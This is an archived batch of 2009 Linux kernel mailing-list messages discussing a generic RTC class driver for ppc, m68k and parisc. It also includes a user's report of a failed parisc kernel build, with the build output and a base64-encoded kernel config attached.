> http://git.kernel.org/?p=3Dlinux/kernel/git/kyle/parisc-2.6.git;a=3Ds=
hortlog;h=3Drtc-parisc
>=20
> Not sure if they conflict (or are in sync) with your patches...

Thanks, they provide some nice cleanups.

With kind regards,

Geert Uytterhoeven
Software Architect

Sony Techsoft Centre Europe
The Corporate Village =C2=B7 Da Vincilaan 7-D1 =C2=B7 B-1935 Zaventem =C2=
=B7 Belgium

Phone:    +32 (0)2 700 8453
=46ax:      +32 (0)2 700 8622
E-mail:   Geert.Uytterhoeven@sonycom.com
Internet: http://www.sony-europe.com/

A division of Sony Europe (Belgium) N.V.
VAT BE 0413.825.160 =C2=B7 RPR Brussels
=46ortis =C2=B7 BIC GEBABEBB =C2=B7 IBAN BE41293037680010
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [rtc-linux] Re: [PATCH/RFC 0/5] Generic RTC class driver
Date: Wed, 25 Feb 2009 10:58:57 +0100 (CET)
Lines: 77
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.00.0902251055260.4063@vixen.sonytel.be>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com> <20090220170454.04382e9e@i1501.lan.towertech.it> <alpine.LRH.2.00.0902231319170.22762@vixen.sonytel.be> <20090223160506.04e347c7@i1501.lan.towertech.it>
 <alpine.LRH.2.00.0902241848500.544@vixen.sonytel.be> <20090224193708.5f8be86c@i1501.lan.towertech.it> <20090225011426.GB9362@cynthia.pants.nu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-15
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1235556011 1752 80.91.229.12 (25 Feb 2009 10:00:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 25 Feb 2009 10:00:11 +0000 (UTC)
Cc: Alessandro Zummo <alessandro.zummo@towertech.it>,
	Richard Zidlicky <rz@linux-m68k.org>,
	rtc-linux@googlegroups.com, linux-parisc@vger.kernel.org,
	David@ozlabs.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	Woodhouse <dwmw2@infradead.org>
To: Brad Boyer <flar@allandria.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 25 11:01:25 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LcGZu-0004Hy-JD
	for glpp-linux-parisc@gmane.org; Wed, 25 Feb 2009 11:01:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1762119AbZBYJ7E convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 25 Feb 2009 04:59:04 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761453AbZBYJ7D
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 25 Feb 2009 04:59:03 -0500
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:58708 "EHLO
	vervifontaine.sonycom.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1762119AbZBYJ7A (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 25 Feb 2009 04:59:00 -0500
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id 3472258ABD;
	Wed, 25 Feb 2009 10:58:57 +0100 (MET)
In-Reply-To: <20090225011426.GB9362@cynthia.pants.nu>
User-Agent: Alpine 2.00 (LRH 1167 2008-08-23)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1319 gmane.linux.kernel:799211 gmane.linux.ports.ppc64.devel:52880
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1319>

On Tue, 24 Feb 2009, Brad Boyer wrote:
> On Tue, Feb 24, 2009 at 07:37:08PM +0100, Alessandro Zummo wrote:
> > On Tue, 24 Feb 2009 18:56:03 +0100 (CET)
> > Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com> wrote:
> > > Converting all (ca. 20?) ppc and m68k RTC support code into indiv=
idual RTC
> > > class drivers would add ca. 100+ lines of code for each individua=
l driver.
> >=20
> >  How different are all of those boards? It's simply a matter
> >  of parameters and offsets? can we group them somehow?
>=20
> I imagine we could cut down the numbers somewhat with clever code sha=
ring,
> but it's still going to be a fairly large number. I don't know all th=
e
> embedded boards, but just with all the Macintosh models there are at
> least three and maybe four drastically different methods of RTC acces=
s,
> and all of them are directly tied to some chip that does something el=
se
> completely unrelated. For one of them we don't even have a driver at =
the

Yeah, on Mac/m68k the RTC is usually handled by a chip that does lots o=
f other
things, so you need to keep the bulk of the code in arch/m68k/ anyway.

> moment.  They also are all custom chips that wouldn't be used anywher=
e
> else. The other thing we need to keep in mind is that if we do it rig=
ht
> we can share drivers across m68k and powerpc in some cases.  I imagin=
e
> some of the embedded powerpc boards are using chips that are common i=
n
> other architectures as well.

Many embedded powerpc boards already have RTC class drivers under drive=
rs/rtc/,
as their RTC chips are sufficiently common.

The ones that don't are mostly "workstation" or "server" type hardware.=
 The
full list is:
  - rtas_set_rtc_time
  - mpc8xx_set_rtc_time
  - beat_get_rtc_time
  - chrp_set_rtc_time
  - iSeries_set_rtc_time
  - maple_set_rtc_time
  - pmac_set_rtc_time
  - ps3_set_rtc_time

With kind regards,

Geert Uytterhoeven
Software Architect

Sony Techsoft Centre Europe
The Corporate Village =B7 Da Vincilaan 7-D1 =B7 B-1935 Zaventem =B7 Bel=
gium

Phone:    +32 (0)2 700 8453
=46ax:      +32 (0)2 700 8622
E-mail:   Geert.Uytterhoeven@sonycom.com
Internet: http://www.sony-europe.com/

A division of Sony Europe (Belgium) N.V.
VAT BE 0413.825.160 =B7 RPR Brussels
=46ortis =B7 BIC GEBABEBB =B7 IBAN BE41293037680010
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [rtc-linux] [PATCH/RFC 0/5] Generic RTC class driver
Date: Wed, 25 Feb 2009 11:00:13 +0100 (CET)
Lines: 55
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.00.0902251059110.4063@vixen.sonytel.be>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com> <20090220170454.04382e9e@i1501.lan.towertech.it> <alpine.LRH.2.00.0902231319170.22762@vixen.sonytel.be> <1235511327.18632.73.camel@macbook.infradead.org>
 <20090224231154.60ba18d6@i1501.lan.towertech.it> <1235514727.18632.93.camel@macbook.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-15
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1235556050 1952 80.91.229.12 (25 Feb 2009 10:00:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 25 Feb 2009 10:00:50 +0000 (UTC)
Cc: Alessandro Zummo <alessandro.zummo@towertech.it>,
	rtc-linux@googlegroups.com, Richard Zidlicky <rz@linux-m68k.org>,
	linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	David@ozlabs.org, Kyle McMartin <kyle@mcmartin.ca>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>
To: David Woodhouse <dwmw2@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 25 11:02:04 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LcGaZ-0004Xt-AX
	for glpp-linux-parisc@gmane.org; Wed, 25 Feb 2009 11:02:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759315AbZBYKAS convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 25 Feb 2009 05:00:18 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1759644AbZBYKAR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 25 Feb 2009 05:00:17 -0500
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:58777 "EHLO
	vervifontaine.sonycom.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1759091AbZBYKAP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 25 Feb 2009 05:00:15 -0500
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id 5E82958ABD;
	Wed, 25 Feb 2009 11:00:13 +0100 (MET)
In-Reply-To: <1235514727.18632.93.camel@macbook.infradead.org>
User-Agent: Alpine 2.00 (LRH 1167 2008-08-23)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1320 gmane.linux.kernel:799213 gmane.linux.ports.ppc64.devel:52881
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1320>

On Wed, 25 Feb 2009, David Woodhouse wrote:
> On Tue, 2009-02-24 at 23:11 +0100, Alessandro Zummo wrote:
> > On Wed, 25 Feb 2009 06:35:27 +0900
> > David Woodhouse <dwmw2@infradead.org> wrote:
> >=20
> > > > So you want us to kill the ppc_md.[gs]et_rtc_time() [ppc], mach=
_hwclk() [m68k],
> > > > mach_gettod() [m68knommu] (and probably a few other) abstractio=
ns, and move all
> > > > RTC code out of arch/ into seperate drivers under drivers/rtc/ =
instead?
> > >=20
> > > That's the ideal... although did we get NTP sync working again ye=
t?
> >=20
> >  not yet. we're close but I've been very busy :(
>=20
> I know the feeling.
>=20
> Once that's working, we can convert individual PPC platforms over,
> removing the routines from the ppc_md and creating a generic RTC driv=
er
> instead. PA Electra is already like that -- because it wasn't a
> regression there to have broken NTP sync. But the others need to wait=
=2E

I didn't know NTP was broken with RTC class drivers?

So we should actually keep on using genrtc instead of rtc-ppc/rtc-gener=
ic for
now? ;-)

With kind regards,

Geert Uytterhoeven
Software Architect

Sony Techsoft Centre Europe
The Corporate Village =B7 Da Vincilaan 7-D1 =B7 B-1935 Zaventem =B7 Bel=
gium

Phone:    +32 (0)2 700 8453
=46ax:      +32 (0)2 700 8622
E-mail:   Geert.Uytterhoeven@sonycom.com
Internet: http://www.sony-europe.com/

A division of Sony Europe (Belgium) N.V.
VAT BE 0413.825.160 =B7 RPR Brussels
=46ortis =B7 BIC GEBABEBB =B7 IBAN BE41293037680010
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alessandro Zummo <alessandro.zummo@towertech.it>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [rtc-linux] Re: [PATCH/RFC 0/5] Generic RTC class driver
Date: Wed, 25 Feb 2009 11:18:36 +0100
Organization: Tower Technologies
Lines: 25
Approved: news@gmane.org
Message-ID: <20090225111836.621412c1@i1501.lan.towertech.it>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
	<20090220170454.04382e9e@i1501.lan.towertech.it>
	<alpine.LRH.2.00.0902231319170.22762@vixen.sonytel.be>
	<1235511327.18632.73.camel@macbook.infradead.org>
	<20090224231154.60ba18d6@i1501.lan.towertech.it>
	<1235514727.18632.93.camel@macbook.infradead.org>
	<alpine.LRH.2.00.0902251059110.4063@vixen.sonytel.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1235557136 5550 80.91.229.12 (25 Feb 2009 10:18:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 25 Feb 2009 10:18:56 +0000 (UTC)
Cc: Geert.Uytterhoeven@sonycom.com,
	David Woodhouse <dwmw2@infradead.org>,
	Richard Zidlicky <rz@linux-m68k.org>,
	linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	David@ozlabs.org, Kyle McMartin <kyle@mcmartin.ca>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>
To: rtc-linux@googlegroups.com
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 25 11:20:09 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LcGs2-0002Xi-JU
	for glpp-linux-parisc@gmane.org; Wed, 25 Feb 2009 11:20:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760260AbZBYKSo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 25 Feb 2009 05:18:44 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1759682AbZBYKSo
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 25 Feb 2009 05:18:44 -0500
Original-Received: from mx0.towertech.it ([213.215.222.73]:49479 "HELO mx0.towertech.it"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752834AbZBYKSm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 25 Feb 2009 05:18:42 -0500
Original-Received: (qmail 4337 invoked from network); 25 Feb 2009 11:18:37 +0100
Original-Received: from unknown (HELO i1501.lan.towertech.it) (81.208.60.204)
  by mx0.towertech.it with SMTP; 25 Feb 2009 11:18:37 +0100
In-Reply-To: <alpine.LRH.2.00.0902251059110.4063@vixen.sonytel.be>
X-Mailer: Sylpheed
X-This-Is-A-Real-Message: Yes
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1321 gmane.linux.kernel:799217 gmane.linux.ports.ppc64.devel:52882
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1321>

On Wed, 25 Feb 2009 11:00:13 +0100 (CET)
Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com> wrote:

> I didn't know NTP was broken with RTC class drivers?
> 
> So we should actually keep on using genrtc instead of rtc-ppc/rtc-generic for
> now? ;-)

 broken here means that the kernel won't save the time to the hardware
 rtc every 11 minutes as it used to do. normal NTP operations are unaffected.

-- 

 Best regards,

 Alessandro Zummo,
  Tower Technologies - Torino, Italy

  http://www.towertech.it

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: can't compile kernel for parisc
Date: Fri, 27 Feb 2009 13:47:13 +0300
Lines: 661
Approved: news@gmane.org
Message-ID: <a4423d670902270247g70134a05n20fe3ba7c8970fbe@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=0015174c37b40c18480463e43167
X-Trace: ger.gmane.org 1235731717 7266 80.91.229.12 (27 Feb 2009 10:48:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 27 Feb 2009 10:48:37 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 27 11:49:50 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ld0H6-0007II-Iz
	for glpp-linux-parisc@gmane.org; Fri, 27 Feb 2009 11:49:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758705AbZB0KrX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 Feb 2009 05:47:23 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760696AbZB0KrX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 27 Feb 2009 05:47:23 -0500
Original-Received: from mail-ew0-f177.google.com ([209.85.219.177]:63329 "EHLO
	mail-ew0-f177.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1759712AbZB0KrT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 Feb 2009 05:47:19 -0500
Original-Received: by ewy25 with SMTP id 25so1135127ewy.37
        for <linux-parisc@vger.kernel.org>; Fri, 27 Feb 2009 02:47:13 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:date:message-id:subject
         :from:to:content-type;
        bh=nMBpbtFOEk+u7N78FW96gpNpA6eGTJ7KY2q2Ch5CX8M=;
        b=mc6oG9MEXxnnYlFydcd5qTh5Q4uquDGMFJdP765yuIXgwTWZ5lMit1SV55IbPAQ+dP
         IQyP/59O7yYJNxs4EA04y42fGSeHUe3L6EiK78eOuur7fPDcUP7L84WGRyzpzUx765KB
         y3fIYX46ZysKHhHujTeWO3R2+9zLEHywDrW2g=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:date:message-id:subject:from:to:content-type;
        b=hu8myQJmX+Q4YBP1H4lbDhs2TqlphTvEpC6/skSe4AlsdrVSGTnzsRE4SXZ1fokAJI
         lbpPvdchbD5iMuWNAuJspnsRfJXS5atASZNvWnCjop+uCQWj9pdbAgFtfRatO7nKhhVp
         SHx8zCV+a6k1MvYmKMTYwG5zqW1FpKeOCWpug=
Original-Received: by 10.210.35.10 with SMTP id i10mr338737ebi.63.1235731633411; Fri, 
	27 Feb 2009 02:47:13 -0800 (PST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1322
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1322>

--0015174c37b40c18480463e43167
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit

I am building the kernel for parisc for the first time.
Have I missed anything important?

  LD      vmlinux.o
  MODPOST vmlinux.o
WARNING: vmlinux.o (.text.1): unexpected section name.
The (.[number]+) following section name are ld generated and not expected.
Did you forget to use "ax"/"aw" in a .S file?
Note that for example <linux/init.h> contains
section definitions for use in .S files.

WARNING: vmlinux.o(.cpuinit.text+0x418): Section mismatch in reference
from the function init_per_cpu() to the function
.init.text:set_firmware_width()
The function __cpuinit init_per_cpu() references
a function __init set_firmware_width().
If set_firmware_width is only used by init_per_cpu then
annotate set_firmware_width with a matching annotation.

WARNING: vmlinux.o(.cpuinit.text+0x420): Section mismatch in reference
from the function init_per_cpu() to the function
.init.text:pdc_coproc_cfg()
The function __cpuinit init_per_cpu() references
a function __init pdc_coproc_cfg().
If pdc_coproc_cfg is only used by init_per_cpu then
annotate pdc_coproc_cfg with a matching annotation.

WARNING: vmlinux.o (.text.7): unexpected section name.
The (.[number]+) following section name are ld generated and not expected.
Did you forget to use "ax"/"aw" in a .S file?
Note that for example <linux/init.h> contains
section definitions for use in .S files.

WARNING: vmlinux.o (.text.8): unexpected section name.
The (.[number]+) following section name are ld generated and not expected.
Did you forget to use "ax"/"aw" in a .S file?
Note that for example <linux/init.h> contains
section definitions for use in .S files.

WARNING: vmlinux.o (.text.16): unexpected section name.
The (.[number]+) following section name are ld generated and not expected.
Did you forget to use "ax"/"aw" in a .S file?
Note that for example <linux/init.h> contains
section definitions for use in .S files.

WARNING: vmlinux.o (.text.17): unexpected section name.
The (.[number]+) following section name are ld generated and not expected.
Did you forget to use "ax"/"aw" in a .S file?
Note that for example <linux/init.h> contains
section definitions for use in .S files.

  GEN     .version
  CHK     include/linux/compile.h
dnsdomainname: Unknown host
  UPD     include/linux/compile.h
  CC      init/version.o
  LD      init/built-in.o
  LD      .tmp_vmlinux1
ld: /bin/sh: line 1:  9894 Segmentation fault      ld --build-id -o
.tmp_vmlinux1 -T arch/parisc/kernel/vmlinux.lds
arch/parisc/kernel/head.o init/built-in.o --start-group usr/built-in.o
arch/parisc/mm/built-in.o arch/parisc/kernel/built-in.o
arch/parisc/math-emu/built-in.o arch/parisc/kernel/init_task.o
kernel/built-in.o mm/built-in.o fs/built-in.o ipc/built-in.o
security/built-in.o crypto/built-in.o block/built-in.o lib/lib.a
arch/parisc/lib/lib.a `gcc -print-libgcc-file-name` lib/built-in.o
arch/parisc/lib/built-in.o `gcc -print-libgcc-file-name`
drivers/built-in.o sound/built-in.o firmware/built-in.o net/built-in.o
--end-group
make: *** [.tmp_vmlinux1] Error 139


$ head Makefile
VERSION = 2
PATCHLEVEL = 6
SUBLEVEL = 29
EXTRAVERSION = -rc6

 $ gcc -v
Using built-in specs.
Target: hppa2.0-unknown-linux-gnu
Configured with:
/var/tmp/portage/sys-devel/gcc-4.3.3/work/gcc-4.3.3/configure
--prefix=/usr --bindir=/usr/hppa2.0-unknown-linux-gnu/gcc-bin/4.3.3
--includedir=/usr/lib/gcc/hppa2.0-unknown-linux-gnu/4.3.3/include
--datadir=/usr/share/gcc-data/hppa2.0-unknown-linux-gnu/4.3.3
--mandir=/usr/share/gcc-data/hppa2.0-unknown-linux-gnu/4.3.3/man
--infodir=/usr/share/gcc-data/hppa2.0-unknown-linux-gnu/4.3.3/info
--with-gxx-include-dir=/usr/lib/gcc/hppa2.0-unknown-linux-gnu/4.3.3/include/g++-v4
--host=hppa2.0-unknown-linux-gnu --build=hppa2.0-unknown-linux-gnu
--disable-altivec --disable-fixed-point --disable-nls
--with-system-zlib --disable-checking --disable-werror
--enable-secureplt --disable-multilib --disable-libmudflap
--disable-libssp --disable-libgomp --enable-cld --disable-libgcj
--enable-languages=c,c++,treelang --enable-shared
--enable-threads=posix --enable-__cxa_atexit --enable-clocale=gnu
--with-bugurl=http://bugs.gentoo.org/ --with-pkgversion='Gentoo 4.3.3
p1.0, pie-10.1.5'
Thread model: posix
gcc version 4.3.3 (Gentoo 4.3.3 p1.0, pie-10.1.5)

$ binutils-config -l
 [1] hppa2.0-unknown-linux-gnu-2.19.1 *

--0015174c37b40c18480463e43167
Content-Type: application/octet-stream; name=config-parisc
Content-Disposition: attachment; filename=config-parisc
Content-Transfer-Encoding: base64
X-Attachment-Id: f_froqozpx0

IwojIEF1dG9tYXRpY2FsbHkgZ2VuZXJhdGVkIG1ha2UgY29uZmlnOiBkb24ndCBlZGl0CiMgTGlu
dXgga2VybmVsIHZlcnNpb246IDIuNi4yOS1yYzYKIyBGcmkgRmViIDI3IDEzOjE4OjI3IDIwMDkK
IwpDT05GSUdfUEFSSVNDPXkKQ09ORklHX01NVT15CkNPTkZJR19TVEFDS19HUk9XU1VQPXkKQ09O
RklHX1JXU0VNX0dFTkVSSUNfU1BJTkxPQ0s9eQojIENPTkZJR19BUkNIX0hBU19JTE9HMl9VMzIg
aXMgbm90IHNldAojIENPTkZJR19BUkNIX0hBU19JTE9HMl9VNjQgaXMgbm90IHNldApDT05GSUdf
R0VORVJJQ19GSU5EX05FWFRfQklUPXkKQ09ORklHX0dFTkVSSUNfQlVHPXkKQ09ORklHX0dFTkVS
SUNfSFdFSUdIVD15CkNPTkZJR19HRU5FUklDX0NBTElCUkFURV9ERUxBWT15CkNPTkZJR19HRU5F
UklDX1RJTUU9eQpDT05GSUdfVElNRV9MT1dfUkVTPXkKQ09ORklHX0dFTkVSSUNfSEFSRElSUVM9
eQpDT05GSUdfR0VORVJJQ19JUlFfUFJPQkU9eQpDT05GSUdfSVJRX1BFUl9DUFU9eQpDT05GSUdf
REVGQ09ORklHX0xJU1Q9Ii9saWIvbW9kdWxlcy8kVU5BTUVfUkVMRUFTRS8uY29uZmlnIgoKIwoj
IEdlbmVyYWwgc2V0dXAKIwpDT05GSUdfRVhQRVJJTUVOVEFMPXkKQ09ORklHX0xPQ0tfS0VSTkVM
PXkKQ09ORklHX0lOSVRfRU5WX0FSR19MSU1JVD0zMgpDT05GSUdfTE9DQUxWRVJTSU9OPSIiCkNP
TkZJR19MT0NBTFZFUlNJT05fQVVUTz15CkNPTkZJR19TV0FQPXkKIyBDT05GSUdfU1lTVklQQyBp
cyBub3Qgc2V0CiMgQ09ORklHX1BPU0lYX01RVUVVRSBpcyBub3Qgc2V0CiMgQ09ORklHX0JTRF9Q
Uk9DRVNTX0FDQ1QgaXMgbm90IHNldAojIENPTkZJR19UQVNLU1RBVFMgaXMgbm90IHNldAojIENP
TkZJR19BVURJVCBpcyBub3Qgc2V0CgojCiMgUkNVIFN1YnN5c3RlbQojCkNPTkZJR19DTEFTU0lD
X1JDVT15CiMgQ09ORklHX1RSRUVfUkNVIGlzIG5vdCBzZXQKIyBDT05GSUdfUFJFRU1QVF9SQ1Ug
aXMgbm90IHNldAojIENPTkZJR19UUkVFX1JDVV9UUkFDRSBpcyBub3Qgc2V0CiMgQ09ORklHX1BS
RUVNUFRfUkNVX1RSQUNFIGlzIG5vdCBzZXQKQ09ORklHX0lLQ09ORklHPXkKQ09ORklHX0lLQ09O
RklHX1BST0M9eQpDT05GSUdfTE9HX0JVRl9TSElGVD0xNwojIENPTkZJR19HUk9VUF9TQ0hFRCBp
cyBub3Qgc2V0CiMgQ09ORklHX0NHUk9VUFMgaXMgbm90IHNldAojIENPTkZJR19TWVNGU19ERVBS
RUNBVEVEX1YyIGlzIG5vdCBzZXQKIyBDT05GSUdfUkVMQVkgaXMgbm90IHNldApDT05GSUdfTkFN
RVNQQUNFUz15CiMgQ09ORklHX1VUU19OUyBpcyBub3Qgc2V0CiMgQ09ORklHX1VTRVJfTlMgaXMg
bm90IHNldAojIENPTkZJR19QSURfTlMgaXMgbm90IHNldAojIENPTkZJR19ORVRfTlMgaXMgbm90
IHNldAojIENPTkZJR19CTEtfREVWX0lOSVRSRCBpcyBub3Qgc2V0CiMgQ09ORklHX0NDX09QVElN
SVpFX0ZPUl9TSVpFIGlzIG5vdCBzZXQKQ09ORklHX1NZU0NUTD15CiMgQ09ORklHX0VNQkVEREVE
IGlzIG5vdCBzZXQKQ09ORklHX1NZU0NUTF9TWVNDQUxMPXkKQ09ORklHX0tBTExTWU1TPXkKIyBD
T05GSUdfS0FMTFNZTVNfQUxMIGlzIG5vdCBzZXQKIyBDT05GSUdfS0FMTFNZTVNfRVhUUkFfUEFT
UyBpcyBub3Qgc2V0CkNPTkZJR19IT1RQTFVHPXkKQ09ORklHX1BSSU5USz15CkNPTkZJR19CVUc9
eQpDT05GSUdfRUxGX0NPUkU9eQpDT05GSUdfQ09NUEFUX0JSSz15CkNPTkZJR19CQVNFX0ZVTEw9
eQpDT05GSUdfRlVURVg9eQpDT05GSUdfQU5PTl9JTk9ERVM9eQpDT05GSUdfRVBPTEw9eQpDT05G
SUdfU0lHTkFMRkQ9eQpDT05GSUdfVElNRVJGRD15CkNPTkZJR19FVkVOVEZEPXkKQ09ORklHX1NI
TUVNPXkKQ09ORklHX0FJTz15CkNPTkZJR19WTV9FVkVOVF9DT1VOVEVSUz15CkNPTkZJR19QQ0lf
UVVJUktTPXkKQ09ORklHX1NMVUJfREVCVUc9eQojIENPTkZJR19TTEFCIGlzIG5vdCBzZXQKQ09O
